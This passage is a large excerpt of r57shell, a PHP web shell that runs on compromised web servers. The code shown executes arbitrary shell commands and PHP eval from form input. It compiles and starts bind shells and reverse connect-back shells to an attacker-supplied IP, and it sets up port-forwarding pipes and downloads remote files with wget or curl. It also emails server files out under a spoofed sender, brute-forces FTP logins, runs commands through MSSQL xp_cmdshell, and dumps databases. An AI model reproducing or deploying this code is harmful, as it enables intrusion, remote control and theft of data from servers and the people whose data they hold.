  1486. echo "</td><td>";
  1487. echo "<font face=Verdana size=-2 color=red><b>";
  1488. $uname = ex('uname -a');
  1489. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1490. if(!$safe_mode){
  1491. $bsd1 = ex('sysctl -n kern.ostype');
  1492. $bsd2 = ex('sysctl -n kern.osrelease');
  1493. $lin1 = ex('sysctl -n kernel.ostype');
  1494. $lin2 = ex('sysctl -n kernel.osrelease');
  1495. }
  1496. if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
  1497. else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
  1498. else { $sysctl = "-"; }
  1499. echo ws(3).$sysctl."<br>";
  1500. echo ws(3).ex('echo $OSTYPE')."<br>";
  1501. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1502. $id = ex('id');
  1503. echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"));
  1504. echo ws(3).$dir;
  1505. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1506. echo "</b></font>";
  1507. }
  1508. else
  1509. {
  1510. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1511. echo "</td><td>";
  1512. echo "<font face=Verdana size=-2 color=red><b>";
  1513. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1514. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1515. echo ws(3).@get_current_user()."<br>";
  1516. echo ws(3).$dir;
  1517. echo "<br></font>";
  1518. }
  1519. echo "</font>";
  1520. echo "</td></tr></table>";
  1521. if(empty($c1)||empty($c2)) { die(); }
  1522. $f = '<br>';
  1523. $f .= base64_decode($c1);
  1524. $f .= base64_decode($c2);
  1525. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1526. {
  1527. $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n");
  1528. mr($language,$res);
  1529. $_POST['cmd']="";
  1530. }
  1531. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1532. {
  1533. if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; }
  1534. else
  1535. {
  1536. $filename = @basename($_POST['loc_file']);
  1537. $filedump = @fread($file,@filesize($_POST['loc_file']));
  1538. fclose($file);
  1539. $content_encoding=$mime_type='';
  1540. compress($filename,$filedump,$_POST['compress']);
  1541. $attach = array(
  1542. "name"=>$filename,
  1543. "type"=>$mime_type,
  1544. "content"=>$filedump
  1545. );
  1546. if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1547. if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  1548. $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1549. mr($language,$res);
  1550. $_POST['cmd']="";
  1551. }
  1552. }
  1553. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1554. {
  1555. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1556. }
  1557. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1558. {
  1559. switch($_POST['what'])
  1560. {
  1561. case 'own':
  1562. @chown($_POST['param1'],$_POST['param2']);
  1563. break;
  1564. case 'grp':
  1565. @chgrp($_POST['param1'],$_POST['param2']);
  1566. break;
  1567. case 'mod':
  1568. @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1569. break;
  1570. }
  1571. $_POST['cmd']="";
  1572. }
  1573. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1574. {
  1575. switch($_POST['what'])
  1576. {
  1577. case 'file':
  1578. if($_POST['action'] == "create")
  1579. {
  1580. if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
  1581. else {
  1582. fclose($file);
  1583. $_POST['e_name'] = $_POST['mk_name'];
  1584. $_POST['cmd']="edit_file";
  1585. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1586. }
  1587. }
  1588. else if($_POST['action'] == "delete")
  1589. {
  1590. if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1591. $_POST['cmd']="";
  1592. }
  1593. break;
  1594. case 'dir':
  1595. if($_POST['action'] == "create"){
  1596. if(mkdir($_POST['mk_name']))
  1597. {
  1598. $_POST['cmd']="";
  1599. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1600. }
  1601. else { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
  1602. }
  1603. else if($_POST['action'] == "delete"){
  1604. if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1605. $_POST['cmd']="";
  1606. }
  1607. break;
  1608. }
  1609. }
  1610. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  1611. {
  1612. if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  1613. if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; }
  1614. else {
  1615. echo $table_up3;
  1616. echo $font;
  1617. echo "<form name=save_file method=post>";
  1618. echo ws(3)."<b>".$_POST['e_name']."</b>";
  1619. echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  1620. echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  1621. fclose($file);
  1622. echo "</textarea>";
  1623. echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  1624. echo "<input type=hidden name=dir value=".$dir.">";
  1625. echo "<input type=hidden name=cmd value=save_file>";
  1626. echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  1627. echo "</div>";
  1628. echo "</font>";
  1629. echo "</form>";
  1630. echo "</td></tr></table>";
  1631. exit();
  1632. }
  1633. }
  1634. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  1635. {
  1636. if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); }
  1637. else {
  1638. @fwrite($file,$_POST['e_text']);
  1639. @fclose($file);
  1640. $_POST['cmd']="";
  1641. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  1642. }
  1643. }
  1644. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  1645. {
  1646. cf("/tmp/bd.c",$port_bind_bd_c);
  1647. $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  1648. @unlink("/tmp/bd.c");
  1649. $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  1650. $_POST['cmd']="ps -aux | grep bd";
  1651. }
  1652. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  1653. {
  1654. cf("/tmp/bdpl",$port_bind_bd_pl);
  1655. $p2=which("perl");
  1656. if(empty($p2)) $p2="perl";
  1657. $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  1658. $_POST['cmd']="ps -aux | grep bdpl";
  1659. }
  1660. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  1661. {
  1662. cf("/tmp/back",$back_connect);
  1663. $p2=which("perl");
  1664. if(empty($p2)) $p2="perl";
  1665. $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  1666. $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1667. }
  1668. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  1669. {
  1670. cf("/tmp/back.c",$back_connect_c);
  1671. $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  1672. @unlink("/tmp/back.c");
  1673. $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  1674. $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1675. }
  1676. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  1677. {
  1678. cf("/tmp/dp",$datapipe_pl);
  1679. $p2=which("perl");
  1680. if(empty($p2)) $p2="perl";
  1681. $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  1682. $_POST['cmd']="ps -aux | grep dp";
  1683. }
  1684. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  1685. {
  1686. cf("/tmp/dpc.c",$datapipe_c);
  1687. $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  1688. @unlink("/tmp/dpc.c");
  1689. $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  1690. $_POST['cmd']="ps -aux | grep dpc";
  1691. }
  1692. if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}
  1693. if (!empty($HTTP_POST_FILES['userfile']['name']))
  1694. {
  1695. if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  1696. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  1697. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  1698. $_POST['dir']."/".$nfn)
  1699. or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  1700. }
  1701. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  1702. {
  1703. switch($_POST['with'])
  1704. {
  1705. case wget:
  1706. $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  1707. break;
  1708. case fetch:
  1709. $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  1710. break;
  1711. case lynx:
  1712. $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1713. break;
  1714. case links:
  1715. $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1716. break;
  1717. case GET:
  1718. $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1719. break;
  1720. case curl:
  1721. $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  1722. break;
  1723. }
  1724. }
  1725. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  1726. {
  1727. list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1728. if(empty($ftp_port)) { $ftp_port = 21; }
  1729. $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1730. if(!$connection) { fe($language,0); }
  1731. else
  1732. {
  1733. if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); }
  1734. else
  1735. {
  1736. if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); }
  1737. if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
  1738. }
  1739. }
  1740. @ftp_close($connection);
  1741. $_POST['cmd'] = "";
  1742. }
  1743. if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
  1744. {
  1745. list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1746. if(empty($ftp_port)) { $ftp_port = 21; }
  1747. $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  1748. if(!$connection) { fe($language,0); $_POST['cmd'] = ""; }
  1749. else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  1750. @ftp_close($connection);
  1751. }
  1752. echo $table_up3;
  1753. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); }
  1754. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  1755. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  1756. if($safe_mode)
  1757. {
  1758. switch($_POST['cmd'])
  1759. {
  1760. case 'safe_dir':
  1761. $d=@dir($dir);
  1762. if ($d)
  1763. {
  1764. while (false!==($file=$d->read()))
  1765. {
  1766. if ($file=="." || $file=="..") continue;
  1767. @clearstatcache();
  1768. list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  1769. if($windows){
  1770. echo date("d.m.Y H:i",$mtime);
  1771. if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
  1772. }
  1773. else{
  1774. $owner = @posix_getpwuid($uid);
  1775. $grgid = @posix_getgrgid($gid);
  1776. echo $inode." ";
  1777. echo perms(@fileperms($file));
  1778. printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  1779. echo date("d.m.Y H:i ",$mtime);
  1780. }
  1781. echo "$file\n";
  1782. }
  1783. $d->close();
  1784. }
  1785. else echo $lang[$language._text29];
  1786. break;
  1787. case 'safe_file':
  1788. if(@is_file($_POST['file']))
  1789. {
  1790. $file = @file($_POST['file']);
  1791. if($file)
  1792. {
  1793. $c = @sizeof($file);
  1794. for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
  1795. }
  1796. else echo $lang[$language._text29];
  1797. }
  1798. else echo $lang[$language._text31];
  1799. break;
  1800. case 'test1':
  1801. $ci = @curl_init("file://".$_POST['test1_file']."");
  1802. $cf = @curl_exec($ci);
  1803. echo $cf;
  1804. break;
  1805. case 'test2':
  1806. @include($_POST['test2_file']);
  1807. break;
  1808. case 'test3':
  1809. if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  1810. $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  1811. if($db)
  1812. {
  1813. if(@mysql_select_db($_POST['test3_md'],$db))
  1814. {
  1815. $sql = "DROP TABLE IF EXISTS temp_r57_table;";
  1816. @mysql_query($sql);
  1817. $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
  1818. @mysql_query($sql);
  1819. $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
  1820. @mysql_query($sql);
  1821. $sql = "SELECT * FROM temp_r57_table;";
  1822. $r = @mysql_query($sql);
  1823. while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  1824. $sql = "DROP TABLE IF EXISTS temp_r57_table;";
  1825. @mysql_query($sql);
  1826. }
  1827. else echo "[-] ERROR! Can't select database";
  1828. @mysql_close($db);
  1829. }
  1830. else echo "[-] ERROR! Can't connect to mysql server";
  1831. break;
  1832. case 'test4':
  1833. if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  1834. $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  1835. if($db)
  1836. {
  1837. if(@mssql_select_db($_POST['test4_md'],$db))
  1838. {
  1839. @mssql_query("drop table r57_temp_table",$db);
  1840. @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  1841. @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  1842. $res = mssql_query("select * from r57_temp_table",$db);
  1843. while(($row=@mssql_fetch_row($res)))
  1844. {
  1845. echo $row[0]."\r\n";
  1846. }
  1847. @mssql_query("drop table r57_temp_table",$db);
  1848. }
  1849. else echo "[-] ERROR! Can't select database";
  1850. @mssql_close($db);
  1851. }
  1852. else echo "[-] ERROR! Can't connect to MSSQL server";
  1853. break;
  1854. }
  1855. }
  1856. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  1857. $cmd_rep = ex($_POST['cmd']);
  1858. if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  1859. else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  1860. if ($_POST['cmd']=="ftp_brute")
  1861. {
  1862. $suc = 0;
  1863. foreach($users as $user)
  1864. {
  1865. $connection = @ftp_connect($ftp_server,$ftp_port,10);
  1866. if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  1867. else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  1868. @ftp_close($connection);
  1869. }
  1870. echo "\r\n-------------------------------------\r\n";
  1871. $count = count($users);
  1872. if(isset($_POST['reverse'])) { $count *= 2; }
  1873. echo $lang[$language.'_text97'].$count."\r\n";
  1874. echo $lang[$language.'_text98'].$suc."\r\n";
  1875. }
  1876. if ($_POST['cmd']=="php_eval"){
  1877. $eval = @str_replace("<?","",$_POST['php_eval']);
  1878. $eval = @str_replace("?>","",$eval);
  1879. @eval($eval);}
  1880. if ($_POST['cmd']=="db_show")
  1881. {
  1882. switch($_POST['db'])
  1883. {
  1884. case 'MySQL':
  1885. if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  1886. $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1887. if($db)
  1888. {
  1889. $res=@mysql_query("SHOW DATABASES", $db);
  1890. while(($row=@mysql_fetch_row($res)))
  1891. {
  1892. echo "[+] ".$row[0]."\r\n";
  1893. if(isset($_POST['st'])){
  1894. $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db);
  1895. while(($row2=@mysql_fetch_row($res2)))
  1896. {
  1897. echo " | - ".$row2[0]."\r\n";
  1898. if(isset($_POST['sc']))
  1899. {
  1900. $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db);
  1901. while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; }
  1902. }
  1903. }
  1904. }
  1905. }
  1906. @mysql_close($db);
  1907. }
  1908. else echo "[-] ERROR! Can't connect to MySQL server";
  1909. break;
  1910. case 'MSSQL':
  1911. if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  1912. $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1913. if($db)
  1914. {
  1915. $res=@mssql_query("sp_databases", $db);
  1916. while(($row=@mssql_fetch_row($res)))
  1917. {
  1918. echo "[+] ".$row[0]."\r\n";
  1919. if(isset($_POST['st'])){
  1920. @mssql_select_db($row[0]);
  1921. $res2 = @mssql_query("sp_tables",$db);
  1922. while(($row2=@mssql_fetch_array($res2)))
  1923. {
  1924. if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')
  1925. {
  1926. echo " | - ".$row2['TABLE_NAME']."\r\n";
  1927. if(isset($_POST['sc']))
  1928. {
  1929. $res3 = @mssql_query("sp_columns ".$row2[2],$db);
  1930. while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; }
  1931. }
  1932. }
  1933. }
  1934. }
  1935. }
  1936. @mssql_close($db);
  1937. }
  1938. else echo "[-] ERROR! Can't connect to MSSQL server";
  1939. break;
  1940. case 'PostgreSQL':
  1941. if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  1942. $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  1943. $db = @pg_connect($str);
  1944. if($db)
  1945. {
  1946. $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'");
  1947. while(($row=@pg_fetch_row($res)))
  1948. {
  1949. echo "[+] ".$row[0]."\r\n";
  1950. }
  1951. @pg_close($db);
  1952. }
  1953. else echo "[-] ERROR! Can't connect to PostgreSQL server";
  1954. break;
  1955. }
  1956. }
  1957. if ($_POST['cmd']=="mysql_dump")
  1958. {
  1959. if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  1960. if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
  1961. $sqh = "# homepage: http://rst.void.ru\r\n";
  1962. $sqh .= "# ---------------------------------\r\n";
  1963. $sqh .= "# date : ".date ("j F Y g:i")."\r\n";
  1964. $sqh .= "# database : ".$_POST['mysql_db']."\r\n";
  1965. $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n";
  1966. $sqh .= "# ---------------------------------\r\n\r\n";
  1967. switch($_POST['db']){
  1968. case 'MySQL':
  1969. if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  1970. $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  1971. if($db)
  1972. {
  1973. if(@mysql_select_db($_POST['mysql_db'],$db))
  1974. {
  1975. $sql1 = "# MySQL dump created by r57shell\r\n";
  1976. $sql1 .= $sqh;
  1977. $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
  1978. $row = @mysql_fetch_row($res);
  1979. $sql1 .= $row[1]."\r\n\r\n";
  1980. $sql1 .= "# ---------------------------------\r\n\r\n";
  1981. $sql2 = '';
  1982. $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
  1983. if (@mysql_num_rows($res) > 0) {
  1984. while (($row = @mysql_fetch_assoc($res))) {
  1985. $keys = @implode("`, `", @array_keys($row));
  1986. $values = @array_values($row);
  1987. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1988. $values = @implode("', '", $values);
  1989. $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n";
  1990. }
  1991. $sql2 .= "\r\n# ---------------------------------";
  1992. }
  1993. if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  1994. else { echo $sql1.$sql2; }
  1995. }
  1996. else echo "[-] ERROR! Can't select database";
  1997. @mysql_close($db);
  1998. }
  1999. else echo "[-] ERROR! Can't connect to MySQL server";
  2000. break;
  2001. case 'MSSQL':
  2002. if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  2003. $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  2004. if($db)
  2005. {
  2006. if(@mssql_select_db($_POST['mysql_db'],$db))
  2007. {
  2008. $sql1 = "# MSSQL dump created by r57shell\r\n";
  2009. $sql1 .= $sqh;
  2010. $sql2 = '';
  2011. $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db);
  2012. if (@mssql_num_rows($res) > 0) {
  2013. while (($row = @mssql_fetch_assoc($res))) {
  2014. $keys = @implode(", ", @array_keys($row));
  2015. $values = @array_values($row);
  2016. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2017. $values = @implode("', '", $values);
  2018. $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
  2019. }
  2020. $sql2 .= "\r\n# ---------------------------------";
  2021. }
  2022. if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  2023. else { echo $sql1.$sql2; }
  2024. }
  2025. else echo "[-] ERROR! Can't select database";
  2026. @mssql_close($db);
  2027. }
  2028. else echo "[-] ERROR! Can't connect to MSSQL server";
  2029. break;
  2030. case 'PostgreSQL':
  2031. if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  2032. $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  2033. $db = @pg_connect($str);
  2034. if($db)
  2035. {
  2036. $sql1 = "# PostgreSQL dump created by r57shell\r\n";
  2037. $sql1 .= $sqh;
  2038. $sql2 = '';
  2039. $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
  2040. if (@pg_num_rows($res) > 0) {
  2041. while (($row = @pg_fetch_assoc($res))) {
  2042. $keys = @implode(", ", @array_keys($row));
  2043. $values = @array_values($row);
  2044. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  2045. $values = @implode("', '", $values);
  2046. $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
  2047. }
  2048. $sql2 .= "\r\n# ---------------------------------";
  2049. }
  2050. if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
  2051. else { echo $sql1.$sql2; }
  2052. @pg_close($db);
  2053. }
  2054. else echo "[-] ERROR! Can't connect to PostgreSQL server";
  2055. break;
  2056. }
  2057. }
  2058. else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
  2059. }
  2060. echo "</textarea></div>";
  2061. echo "</b>";
  2062. echo "</td></tr></table>";
  2063. echo "<table width=100% cellpadding=0 cellspacing=0>";
  2064. function up_down($id)
  2065. {
  2066. global $lang;
  2067. global $language;
  2068. return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">';
  2069. }
  2070. function div($id)
  2071. {
  2072. if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';
  2073. return '<div id="'.$id.'">';
  2074. }
  2075. if(!$safe_mode){
  2076. echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts;
  2077. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  2078. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2079. echo $te.'</div>'.$table_end1.$fe;
  2080. }
  2081. else{
  2082. echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts;
  2083. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  2084. echo $te.'</div>'.$table_end1.$fe;
  2085. }
  2086. echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts;
  2087. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  2088. echo $te.'</div>'.$table_end1.$fe;
  2089. if($safe_mode){
  2090. echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts;
  2091. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  2092. echo $te.'</div>'.$table_end1.$fe;
  2093. }
  2094. if($safe_mode && $unix){
  2095. echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts;
